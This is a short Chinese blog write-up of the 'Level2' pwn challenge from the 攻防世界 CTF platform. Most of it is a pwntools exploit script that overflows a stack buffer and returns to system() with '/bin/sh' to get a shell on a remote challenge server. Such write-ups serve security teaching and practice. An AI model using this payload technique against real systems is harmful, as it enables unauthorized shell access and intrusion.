当前位置:网站首页>PWN攻防世界Level2
PWN攻防世界Level2
2022-06-29 02:31:00 【Day-3】

首先,标准流程走一下。
运行一下。
放入IDA中。


编写exp:
from pwn import *
context(os='Linux',arch="x86",log_level="debug")
content = 0
elf = ELF("Level2")
system_plt_addr = elf.plt["system"]
bin_sh_addr = next(elf.search(b"/bin/sh"))
def main():
if content == 1:
day3 = process("Level2")
else:
day3 =remote("111.200.241.244",56811)
payload = b'a' * (0x88 + 4) + p32(system_plt_addr)
payload = payload + b'aaaa' + p32(bin_sh_addr)
day3.sendlineafter("Input:\n",payload)
day3.interactive()
main()


获得Flag。
边栏推荐
- 东方财富股票开户是会有什么风险吗?东方财富开户安全吗
- 字符串分段组合
- Informatics Olympiad 1361: Produce
- chrome浏览器关闭更新弹窗
- SystemVerilog structure (I)
- How does sound amplify weak sounds
- 三角函数计算
- EMC、EMI、EMS的关系
- Use photoshop2022 to create a wonderful gradient effect for pictures
- There is a time delay for the click event on the mobile terminal. What is the delay time? How to solve it?
猜你喜欢

音响是如何把微弱声音放大呢

Project R & D, what are the free brain mapping tools that are easy to use

如何用项目甘特图,做好项目汇报

CTFHub-Web-密码口令-默认口令

“内窥镜第一股”二闯IPO,去年亏损5个亿,核心产品商业化仍存疑 | IPO速递

CTFHub-Web-SQL注入-整数型注入

干货丨微服务架构是什么?有哪些优点和不足?

對補wasm環境的一些測試

Use photoshop2022 to create a wonderful gradient effect for pictures

To apply for a test engineer after years, the resume with high scores should be written like this
随机推荐
Ctfhub web SQL injection - integer injection
Oracle Recovery Tools实战批量坏块修复
微信小程序自定义组件
B1006 output integer in another format
sql连续登录问题
Apache does not parse PHP files, but directly displays the source code
PMP商业分析概述
They all talk about interviews with big factories. When I interview with small factories, I invite people to drink tea?
Temperature conversion II
【网络通信学习笔记】Socket.IO的搭建和部署
三角函数计算
e. Difference between target and e.currenttarget
音响是如何把微弱声音放大呢
Understanding and design of high concurrency
字符串属性练习
Cross border information station
Which securities company is the largest and safest? Which securities company has good service
字符串输出
Convert flat structure to tree structure
Ctfhub web password weak password